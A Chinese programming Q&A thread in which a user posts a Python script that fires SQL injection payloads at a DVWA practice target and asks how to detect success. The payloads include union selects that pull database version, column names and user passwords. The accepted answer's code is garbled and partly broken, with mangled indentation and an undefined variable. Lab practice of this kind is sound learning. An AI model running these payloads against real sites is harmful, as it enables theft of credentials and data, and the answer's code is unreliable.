Ssssssongcf 2022-12-08 14:55 采纳率: 100%
浏览 73
已结题

dvwa里sql注入无返回结果

问题遇到的现象和发生背景
遇到的现象和发生背景,请写出第一个错误信息
用代码块功能插入代码,请勿粘贴截图。 不用代码块回答率下降 50%
运行结果及详细报错内容
我的解答思路和尝试过的方法,不写自己思路的,回答率下降 60%
我想要达到的结果,如果你需要快速回答,请尝试 “付费悬赏”

python脚本测试dvwa靶机
下面是代码
需要判断注入成功与否的代码、求帮助。

#-*- coding:utf-8 -*-
import requests

def post_http(sqlstr):
    url = 'http://192.168.56.101/vulnerabilities/sqli/?id='+sqlstr+'&Submit=Submit'
    req = requests.get(url,headers=headers)
    return(url,req.status_code,req.text)

list=["1' union select 1,version() --  ",
      "1' or 1=1 order by 1 – ",
      "union select 1,database()#",
      "  1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#",
      "1' union select user,password from users # "]
for sqlstr in list:
    headers = {'Cookie':'security=low; PHPSESSID=67rd36402q06bl7q01nr15cg94','Referer':'http://192.168.56.101/vulnerabilities/sqli/'}

    print('++++++++SQL注入++++++++')
    url, status_code, result = post_http(sqlstr)
    print(url + '|' + str(status_code))
    print(result)

  • 写回答

4条回答 默认 最新

  • 修远兮。 2022-12-08 15:55
    关注

    要判断 SQL 注入是否成功,可以通过检查响应内容来实现。例如,可以通过判断响应内容中是否包含了预期的数据来确定 SQL 注入是否成功。

    在上面的代码中,可以通过修改 post_http 函数来实现这一功能。例如,可以添加一个新的参数 success,用于表示 SQL 注入是否成功,并在函数内部检查响应内容来设置这个参数的值。例如:

    def post_http(sqlstr, success):
        # 其他代码
        if 'expected_data' in result:
            success = True
        return(url, status_code, result, success)
    

    在上面的代码中,我们添加了一个新的参数 success,并在函数内部检查响应内容来设置这个参数的值。如果响应内容中包含了预期的数据,就设置 success 为 True,表示 SQL 注入成功;否则设置为 False,表示 SQL 注入失败。

    最后,可以在主程序中通过检查函数的返回值来判断 SQL 注入是否成功。例如:

    for sqlstr in list:
        # 其他代码
        url, status_code
    , result, success = post_http(sqlstr, False)
    if success:
    print('SQL注入成功')
    else:
    print('SQL注入失败')
    

    在上面的代码中,我们修改了 post_http 函数的参数列表,并在主程序中调用函数时传入了一个初始值为 Falsesuccess 参数。然后,在主程序中,我们通过检查函数的返回值中的 success 变量来判断 SQL 注入是否成功。如果 successTrue,就表示 SQL 注入成功,反之则失败。

    通过上面的修改,我们就可以在脚本中判断 SQL 注入是否成功了。此外,为了更好地检测 SQL 注入漏洞,还可以添加更多的测试用例,并通过
    不断调整测试用例来确保检测的准确性。此外,还可以通过添加相应的日志记录功能来更好地追踪检测过程,并根据实际情况来调整脚本的代码,以提高脚本的可用性和灵活性。

    本回答被题主选为最佳回答 , 对您是否有帮助呢?
    评论
查看更多回答(3条)

报告相同问题?

问题事件

  • 系统已结题 12月23日
  • 已采纳回答 12月15日
  • 赞助了问题酬金20元 12月8日
  • 创建了问题 12月8日

悬赏问题

  • ¥15 delta降尺度计算的一些细节,有偿
  • ¥15 Arduino红外遥控代码有问题
  • ¥15 数值计算离散正交多项式
  • ¥30 数值计算均差系数编程
  • ¥15 redis-full-check比较 两个集群的数据出错
  • ¥15 Matlab编程问题
  • ¥15 训练的多模态特征融合模型准确度很低怎么办
  • ¥15 kylin启动报错log4j类冲突
  • ¥15 超声波模块测距控制点灯,灯的闪烁很不稳定,经过调试发现测的距离偏大
  • ¥15 import arcpy出现importing _arcgisscripting 找不到相关程序